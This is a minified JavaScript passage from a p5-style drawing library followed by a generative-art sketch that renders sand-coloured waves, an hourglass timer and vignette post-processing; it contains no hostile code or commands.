Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
